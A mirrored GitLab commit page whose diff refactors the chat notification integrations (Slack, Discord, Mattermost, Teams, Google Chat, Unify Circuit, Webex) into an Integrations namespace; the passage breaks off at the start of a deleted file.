Welcome to mirror list, hosted at ThFree Co, Russian Federation.

gitlab.com/gitlab-org/gitlab-foss.git - Unnamed repository; edit this file 'description' to name the repository.
summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.rubocop_manual_todo.yml7
-rw-r--r--Gemfile2
-rw-r--r--app/models/chat_team.rb4
-rw-r--r--app/models/concerns/notification_branch_selection.rb2
-rw-r--r--app/models/integrations/base_chat_notification.rb255
-rw-r--r--app/models/integrations/chat_message/base_message.rb2
-rw-r--r--app/models/integrations/chat_message/pipeline_message.rb8
-rw-r--r--app/models/integrations/chat_message/push_message.rb2
-rw-r--r--app/models/integrations/discord.rb68
-rw-r--r--app/models/integrations/hangouts_chat.rb71
-rw-r--r--app/models/integrations/mattermost.rb33
-rw-r--r--app/models/integrations/microsoft_teams.rb59
-rw-r--r--app/models/integrations/slack.rb59
-rw-r--r--app/models/integrations/unify_circuit.rb62
-rw-r--r--app/models/integrations/webex_teams.rb56
-rw-r--r--app/models/project.rb14
-rw-r--r--app/models/project_services/chat_notification_service.rb252
-rw-r--r--app/models/project_services/discord_service.rb66
-rw-r--r--app/models/project_services/hangouts_chat_service.rb71
-rw-r--r--app/models/project_services/mattermost_service.rb31
-rw-r--r--app/models/project_services/mattermost_slash_commands_service.rb8
-rw-r--r--app/models/project_services/microsoft_teams_service.rb57
-rw-r--r--app/models/project_services/slack_mattermost/notifier.rb2
-rw-r--r--app/models/project_services/slack_service.rb57
-rw-r--r--app/models/project_services/slack_slash_commands_service.rb2
-rw-r--r--app/models/project_services/unify_circuit_service.rb60
-rw-r--r--app/models/project_services/webex_teams_service.rb54
-rw-r--r--app/services/groups/create_service.rb2
-rw-r--r--app/services/mattermost/create_team_service.rb4
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml2
-rw-r--r--config/initializers/hangouts_chat_http_override.rb27
-rw-r--r--doc/api/lint.md2
-rw-r--r--doc/ci/migration/circleci.md2
-rw-r--r--doc/ci/services/gitlab.md2
-rw-r--r--doc/ci/variables/README.md41
-rw-r--r--doc/security/README.md2
-rw-r--r--doc/security/cicd_variables.md14
-rw-r--r--doc/user/application_security/api_fuzzing/index.md2
-rw-r--r--doc/user/application_security/dast_api/index.md2
-rw-r--r--lib/api/helpers/services_helpers.rb12
-rw-r--r--lib/gitlab/integrations/sti_type.rb5
-rw-r--r--lib/gitlab/patch/hangouts_chat_http_override.rb21
-rw-r--r--lib/gitlab/slash_commands/presenters/base.rb2
-rw-r--r--lib/mattermost.rb (renamed from lib/mattermost/error.rb)0
-rw-r--r--lib/mattermost/client.rb8
-rw-r--r--lib/mattermost/session.rb16
-rw-r--r--lib/microsoft_teams/notifier.rb2
-rw-r--r--spec/controllers/projects/mattermosts_controller_spec.rb2
-rw-r--r--spec/controllers/projects/services_controller_spec.rb4
-rw-r--r--spec/factories/integrations.rb2
-rw-r--r--spec/features/boards/sidebar_assignee_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_slack_notifications_spec.rb2
-rw-r--r--spec/lib/mattermost/client_spec.rb4
-rw-r--r--spec/lib/mattermost/command_spec.rb6
-rw-r--r--spec/lib/mattermost/session_spec.rb8
-rw-r--r--spec/lib/mattermost/team_spec.rb8
-rw-r--r--spec/models/integration_spec.rb2
-rw-r--r--spec/models/integrations/base_chat_notification_spec.rb (renamed from spec/models/project_services/chat_notification_service_spec.rb)2
-rw-r--r--spec/models/integrations/discord_spec.rb (renamed from spec/models/project_services/discord_service_spec.rb)4
-rw-r--r--spec/models/integrations/hangouts_chat_spec.rb (renamed from spec/models/project_services/hangouts_chat_service_spec.rb)4
-rw-r--r--spec/models/integrations/mattermost_spec.rb (renamed from spec/models/project_services/mattermost_service_spec.rb)2
-rw-r--r--spec/models/integrations/microsoft_teams_spec.rb (renamed from spec/models/project_services/microsoft_teams_service_spec.rb)4
-rw-r--r--spec/models/integrations/slack_spec.rb (renamed from spec/models/project_services/slack_service_spec.rb)2
-rw-r--r--spec/models/integrations/unify_circuit_spec.rb (renamed from spec/models/project_services/unify_circuit_service_spec.rb)4
-rw-r--r--spec/models/integrations/webex_teams_spec.rb (renamed from spec/models/project_services/webex_teams_service_spec.rb)4
-rw-r--r--spec/models/project_services/mattermost_slash_commands_service_spec.rb4
-rw-r--r--spec/models/project_spec.rb4
-rw-r--r--spec/services/groups/create_service_spec.rb2
-rw-r--r--spec/services/groups/destroy_service_spec.rb2
-rw-r--r--spec/support/shared_examples/models/chat_integration_shared_examples.rb (renamed from spec/support/shared_examples/models/chat_service_shared_examples.rb)84
-rw-r--r--spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb22
71 files changed, 861 insertions, 855 deletions
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index 9d3fc7f956b..80fc20610e7 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -1648,20 +1648,13 @@ Gitlab/NamespacedClass:
- 'app/models/project_services/alerts_service.rb'
- 'app/models/project_services/alerts_service_data.rb'
- 'app/models/project_services/chat_notification_service.rb'
- - 'app/models/project_services/discord_service.rb'
- - 'app/models/project_services/hangouts_chat_service.rb'
- - 'app/models/project_services/mattermost_service.rb'
- 'app/models/project_services/mattermost_slash_commands_service.rb'
- - 'app/models/project_services/microsoft_teams_service.rb'
- 'app/models/project_services/mock_monitoring_service.rb'
- 'app/models/project_services/monitoring_service.rb'
- 'app/models/project_services/prometheus_service.rb'
- 'app/models/project_services/pushover_service.rb'
- - 'app/models/project_services/slack_service.rb'
- 'app/models/project_services/slack_slash_commands_service.rb'
- 'app/models/project_services/slash_commands_service.rb'
- - 'app/models/project_services/unify_circuit_service.rb'
- - 'app/models/project_services/webex_teams_service.rb'
- 'app/models/project_setting.rb'
- 'app/models/project_snippet.rb'
- 'app/models/project_statistics.rb'
diff --git a/Gemfile b/Gemfile
index 2c7651ed3f0..223ece0b787 100644
--- a/Gemfile
+++ b/Gemfile
@@ -253,7 +253,7 @@ gem 'flowdock', '~> 0.7'
gem 'slack-messenger', '~> 2.3.4'
# Hangouts Chat integration
-gem 'hangouts-chat', '~> 0.0.5'
+gem 'hangouts-chat', '~> 0.0.5', require: 'hangouts_chat'
# Asana integration
gem 'asana', '~> 0.10.3'
diff --git a/app/models/chat_team.rb b/app/models/chat_team.rb
index 6e39d7e2204..ee786ae6cb7 100644
--- a/app/models/chat_team.rb
+++ b/app/models/chat_team.rb
@@ -7,8 +7,8 @@ class ChatTeam < ApplicationRecord
belongs_to :namespace
def remove_mattermost_team(current_user)
- Mattermost::Team.new(current_user).destroy(team_id: team_id)
- rescue Mattermost::ClientError => e
+ ::Mattermost::Team.new(current_user).destroy(team_id: team_id)
+ rescue ::Mattermost::ClientError => e
# Either the group is not found, or the user doesn't have the proper
# access on the mattermost instance. In the first case, we're done either way
# in the latter case, we can't recover by retrying, so we just log what happened
diff --git a/app/models/concerns/notification_branch_selection.rb b/app/models/concerns/notification_branch_selection.rb
index 2354335469a..18ec996c3df 100644
--- a/app/models/concerns/notification_branch_selection.rb
+++ b/app/models/concerns/notification_branch_selection.rb
@@ -2,7 +2,7 @@
# Concern handling functionality around deciding whether to send notification
# for activities on a specified branch or not. Will be included in
-# ChatNotificationService and PipelinesEmailService classes.
+# Integrations::BaseChatNotification and PipelinesEmailService classes.
module NotificationBranchSelection
extend ActiveSupport::Concern
diff --git a/app/models/integrations/base_chat_notification.rb b/app/models/integrations/base_chat_notification.rb
new file mode 100644
index 00000000000..5eae8bce92a
--- /dev/null
+++ b/app/models/integrations/base_chat_notification.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+# Base class for Chat notifications services
+# This class is not meant to be used directly, but only to inherit from.
+
+module Integrations
+ class BaseChatNotification < Integration
+ include ChatMessage
+ include NotificationBranchSelection
+
+ SUPPORTED_EVENTS = %w[
+ push issue confidential_issue merge_request note confidential_note
+ tag_push pipeline wiki_page deployment
+ ].freeze
+
+ SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze
+
+ EVENT_CHANNEL = proc { |event| "#{event}_channel" }
+
+ LABEL_NOTIFICATION_BEHAVIOURS = [
+ MATCH_ANY_LABEL = 'match_any',
+ MATCH_ALL_LABELS = 'match_all'
+ ].freeze
+
+ default_value_for :category, 'chat'
+
+ prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior
+
+ # Custom serialized properties initialization
+ prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] })
+
+ boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
+
+ validates :webhook, presence: true, public_url: true, if: :activated?
+ validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true
+
+ def initialize_properties
+ if properties.nil?
+ self.properties = {}
+ self.notify_only_broken_pipelines = true
+ self.branches_to_be_notified = "default"
+ self.labels_to_be_notified_behavior = MATCH_ANY_LABEL
+ elsif !self.notify_only_default_branch.nil?
+ # In older versions, there was only a boolean property named
+ # `notify_only_default_branch`. Now we have a string property named
+ # `branches_to_be_notified`. Instead of doing a background migration, we
+ # opted to set a value for the new property based on the old one, if
+ # users haven't specified one already. When users edit the service and
+ # select a value for this new property, it will override everything.
+
+ self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
+ end
+ end
+
+ def confidential_issue_channel
+ properties['confidential_issue_channel'].presence || properties['issue_channel']
+ end
+
+ def confidential_note_channel
+ properties['confidential_note_channel'].presence || properties['note_channel']
+ end
+
+ def self.supported_events
+ SUPPORTED_EVENTS
+ end
+
+ def fields
+ default_fields + build_event_channels
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze,
+ { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze,
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze,
+ {
+ type: 'text',
+ name: 'labels_to_be_notified',
+ placeholder: '~backend,~frontend',
+ help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.'
+ }.freeze,
+ {
+ type: 'select',
+ name: 'labels_to_be_notified_behavior',
+ choices: [
+ ['Match any of the labels', MATCH_ANY_LABEL],
+ ['Match all of the labels', MATCH_ALL_LABELS]
+ ]
+ }.freeze
+ ].freeze
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ return unless webhook.present?
+
+ object_kind = data[:object_kind]
+
+ data = custom_data(data)
+
+ return unless notify_label?(data)
+
+ # WebHook events often have an 'update' event that follows a 'open' or
+ # 'close' action. Ignore update events for now to prevent duplicate
+ # messages from arriving.
+
+ message = get_message(object_kind, data)
+
+ return false unless message
+
+ event_type = data[:event_type] || object_kind
+
+ channel_names = get_channel_field(event_type).presence || channel.presence
+ channels = channel_names&.split(',')&.map(&:strip)
+
+ opts = {}
+ opts[:channel] = channels if channels.present?
+ opts[:username] = username if username
+
+ if notify(message, opts)
+ log_usage(event_type, user_id_from_hook_data(data))
+ return true
+ end
+
+ false
+ end
+
+ def event_channel_names
+ supported_events.map { |event| event_channel_name(event) }
+ end
+
+ def event_field(event)
+ fields.find { |field| field[:name] == event_channel_name(event) }
+ end
+
+ def global_fields
+ fields.reject { |field| field[:name].end_with?('channel') }
+ end
+
+ def default_channel_placeholder
+ raise NotImplementedError
+ end
+
+ private
+
+ def log_usage(_, _)
+ # Implement in child class
+ end
+
+ def labels_to_be_notified_list
+ return [] if labels_to_be_notified.nil?
+
+ labels_to_be_notified.delete('~').split(',').map(&:strip)
+ end
+
+ def notify_label?(data)
+ return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present?
+
+ labels = data[:labels] || data.dig(:issue, :labels) || data.dig(:merge_request, :labels) || data.dig(:object_attributes, :labels)
+
+ return false if labels.blank?
+
+ matching_labels = labels_to_be_notified_list & labels.pluck(:title)
+
+ if labels_to_be_notified_behavior == MATCH_ALL_LABELS
+ labels_to_be_notified_list.difference(matching_labels).empty?
+ else
+ matching_labels.any?
+ end
+ end
+
+ def user_id_from_hook_data(data)
+ data.dig(:user, :id) || data[:user_id]
+ end
+
+ # every notifier must implement this independently
+ def notify(message, opts)
+ raise NotImplementedError
+ end
+
+ def custom_data(data)
+ data.merge(project_url: project_url, project_name: project_name).with_indifferent_access
+ end
+
+ def get_message(object_kind, data)
+ case object_kind
+ when "push", "tag_push"
+ Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data)
+ when "issue"
+ Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)
+ when "merge_request"
+ Integrations::ChatMessage::MergeMessage.new(data) unless update?(data)
+ when "note"
+ Integrations::ChatMessage::NoteMessage.new(data)
+ when "pipeline"
+ Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data)
+ when "wiki_page"
+ Integrations::ChatMessage::WikiPageMessage.new(data)
+ when "deployment"
+ Integrations::ChatMessage::DeploymentMessage.new(data)
+ end
+ end
+
+ def get_channel_field(event)
+ field_name = event_channel_name(event)
+ self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def build_event_channels
+ supported_events.reduce([]) do |channels, event|
+ channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder }
+ end
+ end
+
+ def event_channel_name(event)
+ EVENT_CHANNEL[event]
+ end
+
+ def project_name
+ project.full_name
+ end
+
+ def project_url
+ project.web_url
+ end
+
+ def update?(data)
+ data[:object_attributes][:action] == 'update'
+ end
+
+ def should_pipeline_be_notified?(data)
+ notify_for_ref?(data) && notify_for_pipeline?(data)
+ end
+
+ def notify_for_ref?(data)
+ return true if data[:object_kind] == 'tag_push'
+ return true if data.dig(:object_attributes, :tag)
+
+ notify_for_branch?(data)
+ end
+
+ def notify_for_pipeline?(data)
+ case data[:object_attributes][:status]
+ when 'success'
+ !notify_only_broken_pipelines?
+ when 'failed'
+ true
+ else
+ false
+ end
+ end
+ end
+end
diff --git a/app/models/integrations/chat_message/base_message.rb b/app/models/integrations/chat_message/base_message.rb
index 2f70384d3b9..afe3ffc45a0 100644
--- a/app/models/integrations/chat_message/base_message.rb
+++ b/app/models/integrations/chat_message/base_message.rb
@@ -58,7 +58,7 @@ module Integrations
end
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string))
+ ::Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string))
end
def format_relative_links(string)
diff --git a/app/models/integrations/chat_message/pipeline_message.rb b/app/models/integrations/chat_message/pipeline_message.rb
index a0f6f582e4c..a3f68d34035 100644
--- a/app/models/integrations/chat_message/pipeline_message.rb
+++ b/app/models/integrations/chat_message/pipeline_message.rb
@@ -105,7 +105,7 @@ module Integrations
def failed_stages_field
{
title: s_("ChatMessage|Failed stage").pluralize(failed_stages.length),
- value: Slack::Messenger::Util::LinkFormatter.format(failed_stages_links),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(failed_stages_links),
short: true
}
end
@@ -113,7 +113,7 @@ module Integrations
def failed_jobs_field
{
title: s_("ChatMessage|Failed job").pluralize(failed_jobs.length),
- value: Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links),
short: true
}
end
@@ -130,12 +130,12 @@ module Integrations
fields = [
{
title: ref_type == "tag" ? s_("ChatMessage|Tag") : s_("ChatMessage|Branch"),
- value: Slack::Messenger::Util::LinkFormatter.format(ref_link),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(ref_link),
short: true
},
{
title: s_("ChatMessage|Commit"),
- value: Slack::Messenger::Util::LinkFormatter.format(commit_link),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(commit_link),
short: true
}
]
diff --git a/app/models/integrations/chat_message/push_message.rb b/app/models/integrations/chat_message/push_message.rb
index 0952986e923..fabd214633b 100644
--- a/app/models/integrations/chat_message/push_message.rb
+++ b/app/models/integrations/chat_message/push_message.rb
@@ -49,7 +49,7 @@ module Integrations
end
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(string)
+ ::Slack::Messenger::Util::LinkFormatter.format(string)
end
def commit_messages
diff --git a/app/models/integrations/discord.rb b/app/models/integrations/discord.rb
new file mode 100644
index 00000000000..ef6d46fd3d3
--- /dev/null
+++ b/app/models/integrations/discord.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "discordrb/webhooks"
+
+module Integrations
+ class Discord < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze
+
+ def title
+ s_("DiscordService|Discord Notifications")
+ end
+
+ def description
+ s_("DiscordService|Send notifications about project events to a Discord channel.")
+ end
+
+ def self.to_param
+ "discord"
+ end
+
+ def help
+ docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ # No-op.
+ end
+
+ def default_channel_placeholder
+ # No-op.
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." },
+ { type: "checkbox", name: "notify_only_broken_pipelines" },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ client = Discordrb::Webhooks::Client.new(url: webhook)
+
+ client.execute do |builder|
+ builder.add_embed do |embed|
+ embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar)
+ embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n")
+ end
+ end
+ rescue RestClient::Exception => error
+ log_error(error.message)
+ false
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/hangouts_chat.rb b/app/models/integrations/hangouts_chat.rb
new file mode 100644
index 00000000000..d02cfe4ec56
--- /dev/null
+++ b/app/models/integrations/hangouts_chat.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module Integrations
+ class HangoutsChat < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ 'Google Chat'
+ end
+
+ def description
+ 'Send notifications from GitLab to a room in Google Chat.'
+ end
+
+ def self.to_param
+ 'hangouts_chat'
+ end
+
+ def help
+ docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def webhook_placeholder
+ 'https://chat.googleapis.com/v1/spaces…'
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ simple_text = parse_simple_text_message(message)
+ ::HangoutsChat::Sender.new(webhook).simple(simple_text)
+ end
+
+ def parse_simple_text_message(message)
+ header = message.pretext
+ return header if message.attachments.empty?
+
+ attachment = message.attachments.first
+ title = format_attachment_title(attachment)
+ body = attachment[:text]
+
+ [header, title, body].compact.join("\n")
+ end
+
+ def format_attachment_title(attachment)
+ return attachment[:title] unless attachment[:title_link]
+
+ "<#{attachment[:title_link]}|#{attachment[:title]}>"
+ end
+ end
+end
diff --git a/app/models/integrations/mattermost.rb b/app/models/integrations/mattermost.rb
new file mode 100644
index 00000000000..97bb4342105
--- /dev/null
+++ b/app/models/integrations/mattermost.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Mattermost < BaseChatNotification
+ include SlackMattermost::Notifier
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ s_('Mattermost notifications')
+ end
+
+ def description
+ s_('Send notifications about project events to Mattermost channels.')
+ end
+
+ def self.to_param
+ 'mattermost'
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def default_channel_placeholder
+ 'my-channel'
+ end
+
+ def webhook_placeholder
+ 'http://mattermost.example.com/hooks/'
+ end
+ end
+end
diff --git a/app/models/integrations/microsoft_teams.rb b/app/models/integrations/microsoft_teams.rb
new file mode 100644
index 00000000000..91e6800f03c
--- /dev/null
+++ b/app/models/integrations/microsoft_teams.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Integrations
+ class MicrosoftTeams < BaseChatNotification
+ def title
+ 'Microsoft Teams notifications'
+ end
+
+ def description
+ 'Send notifications about project events to Microsoft Teams.'
+ end
+
+ def self.to_param
+ 'microsoft_teams'
+ end
+
+ def help
+ '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>'
+ end
+
+ def webhook_placeholder
+ 'https://outlook.office.com/webhook/…'
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ ::MicrosoftTeams::Notifier.new(webhook).ping(
+ title: message.project_name,
+ summary: message.summary,
+ activity: message.activity,
+ attachments: message.attachments
+ )
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/slack.rb b/app/models/integrations/slack.rb
new file mode 100644
index 00000000000..35b376ce5f2
--- /dev/null
+++ b/app/models/integrations/slack.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Slack < BaseChatNotification
+ include SlackMattermost::Notifier
+ extend ::Gitlab::Utils::Override
+
+ SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[
+ push issue confidential_issue merge_request note confidential_note
+ tag_push wiki_page deployment
+ ].freeze
+
+ prop_accessor EVENT_CHANNEL['alert']
+
+ def title
+ 'Slack notifications'
+ end
+
+ def description
+ 'Send notifications about project events to Slack.'
+ end
+
+ def self.to_param
+ 'slack'
+ end
+
+ def default_channel_placeholder
+ _('general, development')
+ end
+
+ def webhook_placeholder
+ 'https://hooks.slack.com/services/…'
+ end
+
+ def supported_events
+ additional = []
+ additional << 'alert'
+
+ super + additional
+ end
+
+ def get_message(object_kind, data)
+ return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert'
+
+ super
+ end
+
+ override :log_usage
+ def log_usage(event, user_id)
+ return unless user_id
+
+ return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event)
+
+ key = "i_ecosystem_slack_service_#{event}_notification"
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id)
+ end
+ end
+end
diff --git a/app/models/integrations/unify_circuit.rb b/app/models/integrations/unify_circuit.rb
new file mode 100644
index 00000000000..03363c7c8b0
--- /dev/null
+++ b/app/models/integrations/unify_circuit.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Integrations
+ class UnifyCircuit < BaseChatNotification
+ def title
+ 'Unify Circuit'
+ end
+
+ def description
+ s_('Integrations|Send notifications about project events to Unify Circuit.')
+ end
+
+ def self.to_param
+ 'unify_circuit'
+ end
+
+ def help
+ 'This service sends notifications about projects events to a Unify Circuit conversation.<br />
+ To set up this service:
+ <ol>
+ <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li>
+ <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
+ <li>Select events below to enable notifications.</li>
+ </ol>'
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ response = Gitlab::HTTP.post(webhook, body: {
+ subject: message.project_name,
+ text: message.summary,
+ markdown: true
+ }.to_json)
+
+ response if response.success?
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/webex_teams.rb b/app/models/integrations/webex_teams.rb
new file mode 100644
index 00000000000..3f420331035
--- /dev/null
+++ b/app/models/integrations/webex_teams.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Integrations
+ class WebexTeams < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ s_("WebexTeamsService|Webex Teams")
+ end
+
+ def description
+ s_("WebexTeamsService|Send notifications about project events to Webex Teams.")
+ end
+
+ def self.to_param
+ 'webex_teams'
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer'
+ s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ header = { 'Content-Type' => 'application/json' }
+ response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json)
+
+ response if response.success?
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/project.rb b/app/models/project.rb
index efdcbe9e50b..45f9b8ac344 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -166,33 +166,33 @@ class Project < ApplicationRecord
has_one :confluence_service, class_name: 'Integrations::Confluence'
has_one :custom_issue_tracker_service, class_name: 'Integrations::CustomIssueTracker'
has_one :datadog_service, class_name: 'Integrations::Datadog'
+ has_one :discord_service, class_name: 'Integrations::Discord'
has_one :drone_ci_service, class_name: 'Integrations::DroneCi'
has_one :emails_on_push_service, class_name: 'Integrations::EmailsOnPush'
has_one :ewm_service, class_name: 'Integrations::Ewm'
has_one :external_wiki_service, class_name: 'Integrations::ExternalWiki'
has_one :flowdock_service, class_name: 'Integrations::Flowdock'
+ has_one :hangouts_chat_service, class_name: 'Integrations::HangoutsChat'
has_one :irker_service, class_name: 'Integrations::Irker'
has_one :jenkins_service, class_name: 'Integrations::Jenkins'
has_one :jira_service, class_name: 'Integrations::Jira'
+ has_one :mattermost_service, class_name: 'Integrations::Mattermost'
+ has_one :microsoft_teams_service, class_name: 'Integrations::MicrosoftTeams'
has_one :mock_ci_service, class_name: 'Integrations::MockCi'
has_one :packagist_service, class_name: 'Integrations::Packagist'
has_one :pipelines_email_service, class_name: 'Integrations::PipelinesEmail'
has_one :pivotaltracker_service, class_name: 'Integrations::Pivotaltracker'
has_one :redmine_service, class_name: 'Integrations::Redmine'
+ has_one :slack_service, class_name: 'Integrations::Slack'
has_one :teamcity_service, class_name: 'Integrations::Teamcity'
+ has_one :unify_circuit_service, class_name: 'Integrations::UnifyCircuit'
+ has_one :webex_teams_service, class_name: 'Integrations::WebexTeams'
has_one :youtrack_service, class_name: 'Integrations::Youtrack'
- has_one :discord_service
has_one :mattermost_slash_commands_service
- has_one :mattermost_service
has_one :slack_slash_commands_service
- has_one :slack_service
has_one :pushover_service
has_one :prometheus_service, inverse_of: :project
has_one :mock_monitoring_service
- has_one :microsoft_teams_service
- has_one :hangouts_chat_service
- has_one :unify_circuit_service
- has_one :webex_teams_service
has_one :root_of_fork_network,
foreign_key: 'root_project_id',
diff --git a/app/models/project_services/chat_notification_service.rb b/app/models/project_services/chat_notification_service.rb
deleted file mode 100644
index 7624dd0d62c..00000000000
--- a/app/models/project_services/chat_notification_service.rb
+++ /dev/null
@@ -1,252 +0,0 @@
-# frozen_string_literal: true
-
-# Base class for Chat notifications services
